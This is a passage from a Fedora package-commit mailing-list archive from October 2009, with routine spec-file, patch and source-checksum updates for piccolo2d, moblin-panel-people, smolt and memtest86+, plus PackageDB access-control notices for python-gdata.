+     * @author Fabio Zadrozny                                                                                                                 
+     * @return The center of this object (based on its bounds).                                                                               
+     */                                                                                                                                       
+    public Point2D getCenter() {                                                                                                              
+        PBounds bounds2 = getBoundsReference();                                                                                                        
+        return new Point2D.Double(bounds2.x+(bounds2.width/2.0), bounds2.y+(bounds2.height/2.0));                                             
+    }   
 }
\ No newline at end of file

piccolo2d-pswtimage-dispose.patch:
 PSWTImage.java |   34 +++++++++++++++++++++++-----------
 1 file changed, 23 insertions(+), 11 deletions(-)

--- NEW FILE piccolo2d-pswtimage-dispose.patch ---
--- swt/src/main/java/edu/umd/cs/piccolox/swt/PSWTImage.java.orig	2009-10-12 22:06:51.299870252 +0300
+++ swt/src/main/java/edu/umd/cs/piccolox/swt/PSWTImage.java	2009-10-12 22:09:23.646122459 +0300
@@ -58,27 +58,39 @@ public class PSWTImage extends PNode {
 
     private transient Image image;
 
-    public PSWTImage(final PSWTCanvas canvas) {
+    public PSWTImage(PSWTCanvas canvas) {
+        this(canvas, true);
+    }
+    
+    public PSWTImage(PSWTCanvas canvas, final boolean disposeImage) {
         super();
-
+        
         this.canvas = canvas;
         canvas.addDisposeListener(new DisposeListener() {
-            public void widgetDisposed(final DisposeEvent de) {
-                if (image != null) {
+            public void widgetDisposed(DisposeEvent de) {
+                if (image != null && disposeImage) {
                     image.dispose();
-                }
+                }    
             }
         });
     }
-
-    public PSWTImage(final PSWTCanvas canvas, final Image newImage) {
-        this(canvas);
+    
+    public PSWTImage(PSWTCanvas canvas, Image newImage) {
+        this(canvas, newImage, true);
+    }
+    
+    public PSWTImage(PSWTCanvas canvas, Image newImage, boolean disposeImage) {
+        this(canvas, disposeImage);
         setImage(newImage);
     }
 
-    public PSWTImage(final PSWTCanvas canvas, final String fileName) {
-        this(canvas);
-        setImage(fileName);
+    public PSWTImage(PSWTCanvas canvas, String fileName) {
+        this(canvas, fileName, true);
+    }
+    
+    public PSWTImage(PSWTCanvas canvas, String fileName, boolean disposeImage) {
+        this(canvas, disposeImage);
+        setImage(fileName);    
     }
 
     /**


Index: piccolo2d.spec
===================================================================
RCS file: /cvs/pkgs/rpms/piccolo2d/devel/piccolo2d.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- piccolo2d.spec	13 Oct 2009 18:00:24 -0000	1.1
+++ piccolo2d.spec	13 Oct 2009 18:26:22 -0000	1.2
@@ -1,8 +1,8 @@
-%global svnrev 691
+%global svnrev 702
 
 Name:           piccolo2d
 Version:        1.3
-Release:        0.svn%{svnrev}.2%{?dist}
+Release:        0.svn%{svnrev}.3%{?dist}
 Summary:        Structured 2D graphics toolkit
 
 Group:          Development/Libraries
@@ -12,6 +12,8 @@ URL:            http://code.google.com/p
 Source0:        piccolo2d-1.3-svn%{svnrev}.tar.bz2
 Source1:        fetch-piccolo2d.sh
 Source2:        %{name}-settings.xml
+Patch0:         piccolo2d-pswtpath-getcenter.patch
+Patch1:         piccolo2d-pswtimage-dispose.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  maven-plugin-bundle
@@ -45,6 +47,8 @@ API documentation for %{name}.
 
 %prep
 %setup -q -n piccolo2d.java
+%patch0
+%patch1
 
 mkdir -p .m2/repository/swt/swt-win32
 ln -s %{_libdir}/java/swt.jar .m2/repository/swt/swt-win32.jar
@@ -126,6 +130,10 @@ ln -s %{name}-%{version} %{buildroot}%{_
 %{_javadocdir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn702.3
+- New snapshot.
+- Add patches needed by pydev.
+
 * Fri Oct 9 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn691.2
 - Add %%doc.
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/piccolo2d/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	13 Oct 2009 18:00:25 -0000	1.2
+++ .cvsignore	13 Oct 2009 18:26:22 -0000	1.3
@@ -1 +1,2 @@
 piccolo2d-1.3-svn691.tar.bz2
+piccolo2d-1.3-svn702.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/piccolo2d/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Oct 2009 18:00:25 -0000	1.2
+++ sources	13 Oct 2009 18:26:22 -0000	1.3
@@ -1 +1 @@
-c15874ada34a225b76846673c1256fc7  piccolo2d-1.3-svn691.tar.bz2
+4d9d862f37caad158ca0d244cce0399a  piccolo2d-1.3-svn702.tar.bz2


Index: fetch-piccolo2d.sh
===================================================================
RCS file: /cvs/pkgs/rpms/piccolo2d/devel/fetch-piccolo2d.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fetch-piccolo2d.sh	13 Oct 2009 18:00:25 -0000	1.1
+++ fetch-piccolo2d.sh	13 Oct 2009 18:26:22 -0000	1.2
@@ -1,6 +1,6 @@
 #! /bin/sh
 
-svnrev=691
+svnrev=702
 
 mkdir temp
 cd temp



From pbrobinson at fedoraproject.org  Tue Oct 13 18:35:20 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 13 Oct 2009 18:35:20 +0000 (UTC)
Subject: rpms/moblin-panel-people/devel .cvsignore, 1.5,
	1.6 moblin-panel-people.spec, 1.7, 1.8 sources, 1.5, 1.6
Message-ID: <20091013183520.919A711C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-people/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29153

Modified Files:
	.cvsignore moblin-panel-people.spec sources 
Log Message:
- New upstream 0.0.6 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	12 Oct 2009 11:04:49 -0000	1.5
+++ .cvsignore	13 Oct 2009 18:35:18 -0000	1.6
@@ -1 +1 @@
-moblin-panel-people-0.0.5.tar.bz2
+moblin-panel-people-0.0.6.tar.bz2


Index: moblin-panel-people.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/moblin-panel-people.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- moblin-panel-people.spec	12 Oct 2009 11:04:49 -0000	1.7
+++ moblin-panel-people.spec	13 Oct 2009 18:35:18 -0000	1.8
@@ -1,5 +1,5 @@
 Name:           moblin-panel-people
-Version:        0.0.5
+Version:        0.0.6
 Release:        1%{?dist}
 Summary:        Moblin Panel for People
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.6-1
+- New upstream 0.0.6 release
+
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.5-1
 - New upstream 0.0.5 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Oct 2009 11:04:49 -0000	1.5
+++ sources	13 Oct 2009 18:35:18 -0000	1.6
@@ -1 +1 @@
-92915880a0be9827705c697f050e849e  moblin-panel-people-0.0.5.tar.bz2
+772e5557e49c0ca4a9bdc3340286be69  moblin-panel-people-0.0.6.tar.bz2



From akurtakov at fedoraproject.org  Tue Oct 13 18:38:02 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 13 Oct 2009 18:38:02 +0000 (UTC)
Subject: rpms/piccolo2d/devel piccolo2d.spec,1.2,1.3
Message-ID: <20091013183802.AD62211C00E8@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/piccolo2d/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30175/devel

Modified Files:
	piccolo2d.spec 
Log Message:
- Skip tests.


Index: piccolo2d.spec
===================================================================
RCS file: /cvs/pkgs/rpms/piccolo2d/devel/piccolo2d.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- piccolo2d.spec	13 Oct 2009 18:26:22 -0000	1.2
+++ piccolo2d.spec	13 Oct 2009 18:38:02 -0000	1.3
@@ -2,7 +2,7 @@
 
 Name:           piccolo2d
 Version:        1.3
-Release:        0.svn%{svnrev}.3%{?dist}
+Release:        0.svn%{svnrev}.4%{?dist}
 Summary:        Structured 2D graphics toolkit
 
 Group:          Development/Libraries
@@ -68,6 +68,7 @@ mvn-jpp \
         -s settings.xml \
         -Dmaven2.jpp.mode=true \
         -Dmaven.repo.local=$MAVEN_REPO_LOCAL \
+        -Dmaven.test.skip=true \
         install javadoc:javadoc
 
 %install
@@ -130,6 +131,9 @@ ln -s %{name}-%{version} %{buildroot}%{_
 %{_javadocdir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn702.4
+- Skip tests.
+
 * Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn702.3
 - New snapshot.
 - Add patches needed by pydev.



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:13 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183813.5242E10F87F@bastion2.fedora.phx.redhat.com>

sundaram has set the watchcommits acl on python-gdata (Fedora devel) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:13 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183814.0BD5810F8A3@bastion2.fedora.phx.redhat.com>

sundaram has set the watchbugzilla acl on python-gdata (Fedora devel) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:15 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183815.6651B10F8AB@bastion2.fedora.phx.redhat.com>

sundaram has set the commit acl on python-gdata (Fedora devel) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:18 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183818.4A3DE10F8AD@bastion2.fedora.phx.redhat.com>

sundaram has set the approveacls acl on python-gdata (Fedora devel) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:27 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183827.EE36510F882@bastion2.fedora.phx.redhat.com>

sundaram has set the watchbugzilla acl on python-gdata (Fedora 11) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:29 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183830.0B66F10F8A3@bastion2.fedora.phx.redhat.com>

sundaram has set the watchcommits acl on python-gdata (Fedora 11) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:31 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183831.4CADA10F8A9@bastion2.fedora.phx.redhat.com>

sundaram has set the commit acl on python-gdata (Fedora 11) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:34 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183834.BCBA810F8B6@bastion2.fedora.phx.redhat.com>

sundaram has set the approveacls acl on python-gdata (Fedora 11) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:37 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183837.8952F10F8B4@bastion2.fedora.phx.redhat.com>

sundaram has set the watchbugzilla acl on python-gdata (Fedora 12) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:38 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183838.4BC7310F8B8@bastion2.fedora.phx.redhat.com>

sundaram has set the watchcommits acl on python-gdata (Fedora 12) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:42 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183843.0F2E810F8A9@bastion2.fedora.phx.redhat.com>

sundaram has set the approveacls acl on python-gdata (Fedora 12) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Tue Oct 13 18:38:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 18:38:43 +0000
Subject: [pkgdb] python-gdata had acl change status
Message-ID: <20091013183843.9F99210F8BD@bastion2.fedora.phx.redhat.com>

sundaram has set the commit acl on python-gdata (Fedora 12) to Approved for richardfearn

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From akurtakov at fedoraproject.org  Tue Oct 13 18:50:36 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 13 Oct 2009 18:50:36 +0000 (UTC)
Subject: rpms/piccolo2d/F-12 piccolo2d-settings.xml, NONE,
	1.1 piccolo2d-pswtimage-dispose.patch, NONE,
	1.1 fetch-piccolo2d.sh, NONE, 1.1 piccolo2d.spec, NONE,
	1.1 piccolo2d-pswtpath-getcenter.patch, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091013185036.DAEC211C029E@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/piccolo2d/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv318/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	piccolo2d-settings.xml piccolo2d-pswtimage-dispose.patch 
	fetch-piccolo2d.sh piccolo2d.spec 
	piccolo2d-pswtpath-getcenter.patch 
Log Message:
Initial F-12 build.


--- NEW FILE piccolo2d-settings.xml ---
<settings>
	<profiles>
		<profile>
			<id>JPP</id>
			<repositories>
				<repository>
					<id>internal</id>
					<layout>jpp</layout>
					<url>__JPP_URL_PLACEHOLDER__</url>
				</repository>
				<repository>
					<id>external</id>
					<layout>jpp</layout>
					<url>__JAVADIR_PLACEHOLDER__</url>
				</repository>
				<repository>
					<id>local</id>
					<layout>jpp</layout>
					<url>__MAVENREPO_DIR_PLACEHOLDER__</url>
				</repository>
			</repositories>
			<pluginRepositories>
				<pluginRepository>
					<id>plugins-internal</id>
					<name>plugins-internal</name>
					<layout>jpp</layout>
					<url>__JPP_URL_PLACEHOLDER__</url>
				</pluginRepository>
				<pluginRepository>
					<id>plugins-external</id>
					<name>plugins-external</name>
					<layout>jpp</layout>
					<url>__JAVADIR_PLACEHOLDER__</url>
				</pluginRepository>
				<pluginRepository>
					<id>plugins-maven</id>
					<name>plugins-maven</name>
					<layout>jpp</layout>
					<url>__MAVENDIR_PLUGIN_PLACEHOLDER__</url>
				</pluginRepository>
			</pluginRepositories>
		</profile>
	</profiles>
	<activeProfiles>
		<activeProfile>JPP</activeProfile>
	</activeProfiles>
</settings>

piccolo2d-pswtimage-dispose.patch:
 PSWTImage.java |   34 +++++++++++++++++++++++-----------
 1 file changed, 23 insertions(+), 11 deletions(-)

--- NEW FILE piccolo2d-pswtimage-dispose.patch ---
--- swt/src/main/java/edu/umd/cs/piccolox/swt/PSWTImage.java.orig	2009-10-12 22:06:51.299870252 +0300
+++ swt/src/main/java/edu/umd/cs/piccolox/swt/PSWTImage.java	2009-10-12 22:09:23.646122459 +0300
@@ -58,27 +58,39 @@ public class PSWTImage extends PNode {
 
     private transient Image image;
 
-    public PSWTImage(final PSWTCanvas canvas) {
+    public PSWTImage(PSWTCanvas canvas) {
+        this(canvas, true);
+    }
+    
+    public PSWTImage(PSWTCanvas canvas, final boolean disposeImage) {
         super();
-
+        
         this.canvas = canvas;
         canvas.addDisposeListener(new DisposeListener() {
-            public void widgetDisposed(final DisposeEvent de) {
-                if (image != null) {
+            public void widgetDisposed(DisposeEvent de) {
+                if (image != null && disposeImage) {
                     image.dispose();
-                }
+                }    
             }
         });
     }
-
-    public PSWTImage(final PSWTCanvas canvas, final Image newImage) {
-        this(canvas);
+    
+    public PSWTImage(PSWTCanvas canvas, Image newImage) {
+        this(canvas, newImage, true);
+    }
+    
+    public PSWTImage(PSWTCanvas canvas, Image newImage, boolean disposeImage) {
+        this(canvas, disposeImage);
         setImage(newImage);
     }
 
-    public PSWTImage(final PSWTCanvas canvas, final String fileName) {
-        this(canvas);
-        setImage(fileName);
+    public PSWTImage(PSWTCanvas canvas, String fileName) {
+        this(canvas, fileName, true);
+    }
+    
+    public PSWTImage(PSWTCanvas canvas, String fileName, boolean disposeImage) {
+        this(canvas, disposeImage);
+        setImage(fileName);    
     }
 
     /**


--- NEW FILE fetch-piccolo2d.sh ---
#! /bin/sh

svnrev=702

mkdir temp
cd temp

svn export -r $svnrev http://piccolo2d.googlecode.com/svn/piccolo2d.java/trunk piccolo2d.java

tar cjf piccolo2d-1.3-svn$svnrev.tar.bz2 piccolo2d.java



--- NEW FILE piccolo2d.spec ---
%global svnrev 702

Name:           piccolo2d
Version:        1.3
Release:        0.svn%{svnrev}.4%{?dist}
Summary:        Structured 2D graphics toolkit

Group:          Development/Libraries
License:        BSD
URL:            http://code.google.com/p/piccolo2d/
# Generated by sh fetch-piccolo2d.sh
Source0:        piccolo2d-1.3-svn%{svnrev}.tar.bz2
Source1:        fetch-piccolo2d.sh
Source2:        %{name}-settings.xml
Patch0:         piccolo2d-pswtpath-getcenter.patch
Patch1:         piccolo2d-pswtimage-dispose.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  maven-plugin-bundle
BuildRequires:  maven2-plugin-install >= 2.0.8
BuildRequires:  maven2-plugin-compiler >= 2.0.8
BuildRequires:  maven2-plugin-javadoc >= 2.0.8
BuildRequires:  maven2-plugin-jar >= 2.0.8
BuildRequires:  maven2-plugin-resources >= 2.0.8
BuildRequires:  maven-surefire-maven-plugin 
BuildRequires:  maven-surefire-provider-junit
BuildRequires:  maven-doxia-sitetools
BuildRequires:  java-1.6.0-openjdk-devel
BuildRequires:  eclipse-swt

Requires: eclipse-swt

BuildArch: noarch


%description
A revolutionary way to create robust, full-featured graphical
applications in Java with striking visual effects such
as zooming, animation and multiple representations.

%package javadoc
Group:          Documentation
Summary:        Javadoc for %{name}

%description javadoc
API documentation for %{name}.

%prep
%setup -q -n piccolo2d.java
%patch0
%patch1

mkdir -p .m2/repository/swt/swt-win32
ln -s %{_libdir}/java/swt.jar .m2/repository/swt/swt-win32.jar

mkdir external_repo
ln -s %{_javadir} external_repo/JPP

cp %{SOURCE2} settings.xml
sed -i -e "s|<url>__JPP_URL_PLACEHOLDER__</url>|<url>file://`pwd`/.m2/repository</url>|g" settings.xml
sed -i -e "s|<url>__JAVADIR_PLACEHOLDER__</url>|<url>file://`pwd`/external_repo</url>|g" settings.xml
sed -i -e "s|<url>__MAVENREPO_DIR_PLACEHOLDER__</url>|<url>file://`pwd`/.m2/repository</url>|g" settings.xml

%build
export MAVEN_REPO_LOCAL=$(pwd)/.m2/repository
mvn-jpp \
        -e \
        -s settings.xml \
        -Dmaven2.jpp.mode=true \
        -Dmaven.repo.local=$MAVEN_REPO_LOCAL \
        -Dmaven.test.skip=true \
        install javadoc:javadoc

%install
rm -rf %{buildroot}

# jars
install -d -m 0755 %{buildroot}%{_javadir}/%{name}
install -m 644 core/target/*.jar %{buildroot}%{_javadir}/%{name}/
install -m 644 extras/target/*.jar %{buildroot}%{_javadir}/%{name}/
install -m 644 swt/target/*.jar %{buildroot}%{_javadir}/%{name}/

(cd %{buildroot}%{_javadir}/%{name} && for jar in *-%{version}*; \
    do ln -sf ${jar} `echo $jar| sed "s|-%{version}-SNAPSHOT||g"`; done)

%add_to_maven_depmap org.piccolo2d piccolo2d-parent %{version} JPP piccolo2d-parent
%add_to_maven_depmap org.piccolo2d piccolo2d-core %{version} JPP piccolo2d-core
%add_to_maven_depmap org.piccolo2d piccolo2d-extras %{version} JPP piccolo2d-extras
%add_to_maven_depmap org.piccolo2d piccolo2d-swt %{version} JPP piccolo2d-swt

# poms
install -d -m 755 %{buildroot}%{_datadir}/maven2/poms
install -pm 644 parent/pom.xml \
    %{buildroot}%{_datadir}/maven2/poms/JPP.%{name}-parent.pom
install -pm 644 core/pom.xml \
    %{buildroot}%{_datadir}/maven2/poms/JPP.%{name}-core.pom
install -pm 644 extras/pom.xml \
    %{buildroot}%{_datadir}/maven2/poms/JPP.%{name}-extras.pom
install -pm 644 swt/pom.xml \
    %{buildroot}%{_datadir}/maven2/poms/JPP.%{name}-swt.pom

# javadoc
install -d -m 0755 %{buildroot}%{_javadocdir}/%{name}-%{version}
install -d -m 0755 %{buildroot}%{_javadocdir}/%{name}-%{version}/core
install -d -m 0755 %{buildroot}%{_javadocdir}/%{name}-%{version}/extras
install -d -m 0755 %{buildroot}%{_javadocdir}/%{name}-%{version}/swt
cp -pr core/target/site/api*/* %{buildroot}%{_javadocdir}/%{name}-%{version}/core
cp -pr extras/target/site/api*/* %{buildroot}%{_javadocdir}/%{name}-%{version}/extras
cp -pr swt/target/site/api*/* %{buildroot}%{_javadocdir}/%{name}-%{version}/swt
ln -s %{name}-%{version} %{buildroot}%{_javadocdir}/%{name}

%post
%update_maven_depmap

%postun
%update_maven_depmap

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%{_javadir}/%{name}
%{_datadir}/maven2/poms/*
%{_mavendepmapfragdir}/*
%doc license-piccolo.txt 

%files javadoc
%defattr(-,root,root,-)
%{_javadocdir}/%{name}-%{version}
%{_javadocdir}/%{name}

%changelog
* Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn702.4
- Skip tests.

* Tue Oct 13 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn702.3
- New snapshot.
- Add patches needed by pydev.

* Fri Oct 9 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn691.2
- Add %%doc.

* Fri Oct 9 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn691.1
- Remove umlgraph patch, no longer needed.
- Make fetch script retrieve exact version.

* Fri Oct 9 2009 Alexander Kurtakov <akurtako at redhat.com> 1.3-0.svn689
- Initial package.

piccolo2d-pswtpath-getcenter.patch:
 PSWTPath.java |    9 +++++++++
 1 file changed, 9 insertions(+)

--- NEW FILE piccolo2d-pswtpath-getcenter.patch ---
--- swt/src/main/java/edu/umd/cs/piccolox/swt/PSWTPath.java.orig	2009-10-12 21:54:31.056119535 +0300
+++ swt/src/main/java/edu/umd/cs/piccolox/swt/PSWTPath.java	2009-10-12 21:55:49.319128179 +0300
@@ -435,4 +435,13 @@ public class PSWTPath extends PNode {
         }
         setShape(path);
     }
+
+    /**                                                                                                                                       
+     * @author Fabio Zadrozny                                                                                                                 
+     * @return The center of this object (based on its bounds).                                                                               
+     */                                                                                                                                       
+    public Point2D getCenter() {                                                                                                              
+        PBounds bounds2 = getBoundsReference();                                                                                                        
+        return new Point2D.Double(bounds2.x+(bounds2.width/2.0), bounds2.y+(bounds2.height/2.0));                                             
+    }   
 }
\ No newline at end of file


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/piccolo2d/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:28:50 -0000	1.1
+++ .cvsignore	13 Oct 2009 18:50:36 -0000	1.2
@@ -0,0 +1 @@
+piccolo2d-1.3-svn702.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/piccolo2d/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:28:50 -0000	1.1
+++ sources	13 Oct 2009 18:50:36 -0000	1.2
@@ -0,0 +1 @@
+4d9d862f37caad158ca0d244cce0399a  piccolo2d-1.3-svn702.tar.bz2



From mmcgrath at fedoraproject.org  Tue Oct 13 18:53:30 2009
From: mmcgrath at fedoraproject.org (Mike McGrath)
Date: Tue, 13 Oct 2009 18:53:30 +0000 (UTC)
Subject: rpms/smolt/EL-5 smolt.spec,1.40,1.41 sources,1.24,1.25
Message-ID: <20091013185330.C75FD11C00E8@cvs1.fedora.phx.redhat.com>

Author: mmcgrath

Update of /cvs/pkgs/rpms/smolt/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv750

Modified Files:
	smolt.spec sources 
Log Message:
updating smolt 1.4 for EL-5


Index: smolt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smolt/EL-5/smolt.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- smolt.spec	23 Sep 2009 21:36:35 -0000	1.40
+++ smolt.spec	13 Oct 2009 18:53:30 -0000	1.41
@@ -2,7 +2,7 @@ Name: smolt
 
 Summary: Fedora hardware profiler
 Version: 1.4
-Release: 2.1%{?dist}
+Release: 2.2%{?dist}
 License: GPLv2+
 Group: Applications/Internet
 URL: http://fedorahosted.org/smolt
@@ -210,6 +210,9 @@ done
 #%{_bindir}/smoltGui
 
 %changelog
+* Mon Oct 13 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-2.2
+- Release bump
+
 * Wed Sep 23 2009 Mike McGrath <mmcgrath at redhat.com> 1.4-2.1
 - removed gui
 - Added python-ctypes requirement


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/smolt/EL-5/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	9 Jul 2009 17:02:17 -0000	1.24
+++ sources	13 Oct 2009 18:53:30 -0000	1.25
@@ -1 +1 @@
-e64aa1e8c38f507d63adee87473834c0  smolt-1.3.1.tar.gz
+a5a56912381e71f75b4c0368670a0ca8  smolt-1.4.tar.gz



From jwilson at fedoraproject.org  Tue Oct 13 18:58:40 2009
From: jwilson at fedoraproject.org (Jarod Wilson)
Date: Tue, 13 Oct 2009 18:58:40 +0000 (UTC)
Subject: rpms/memtest86+/devel memtest-setup, 1.5, 1.6 memtest86+.spec, 1.51,
	1.52
Message-ID: <20091013185840.904AD11C00E8@cvs1.fedora.phx.redhat.com>

Author: jwilson

Update of /cvs/pkgs/rpms/memtest86+/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2469

Modified Files:
	memtest-setup memtest86+.spec 
Log Message:
* Tue Oct 13 2009 Jarod Wilson <jarod at redhat.com> - 4.00-2
- Do the right thing in memtest-setup w/o separate /boot (#528651)



Index: memtest-setup
===================================================================
RCS file: /cvs/pkgs/rpms/memtest86+/devel/memtest-setup,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- memtest-setup	24 Apr 2009 17:33:50 -0000	1.5
+++ memtest-setup	13 Oct 2009 18:58:40 -0000	1.6
@@ -32,7 +32,7 @@ if [ "$RETVAL" != "0" ]; then
     echo "ERROR: grubby failed to configure your bootloader for $MTPATH."
     exit $RETVAL
 else
-    sed -i -e"s,kernel /$ENAME,kernel --type=netbsd /$ENAME," /boot/grub/grub.conf
+    sed -i -e"s,kernel \(/boot\)\?/$ENAME,kernel --type=netbsd \1/$ENAME," /boot/grub/grub.conf
     sed -i -e"s,/$ENAME-$MTVERSION.*,/$ENAME-$MTVERSION," /boot/grub/grub.conf
 fi
 


Index: memtest86+.spec
===================================================================
RCS file: /cvs/pkgs/rpms/memtest86+/devel/memtest86+.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- memtest86+.spec	29 Sep 2009 12:51:16 -0000	1.51
+++ memtest86+.spec	13 Oct 2009 18:58:40 -0000	1.52
@@ -7,7 +7,7 @@
 
 Name:     memtest86+
 Version:  4.00
-Release:  1%{?dist}
+Release:  2%{?dist}
 License:  GPLv2
 Summary:  Stand-alone memory tester for x86 and x86-64 computers
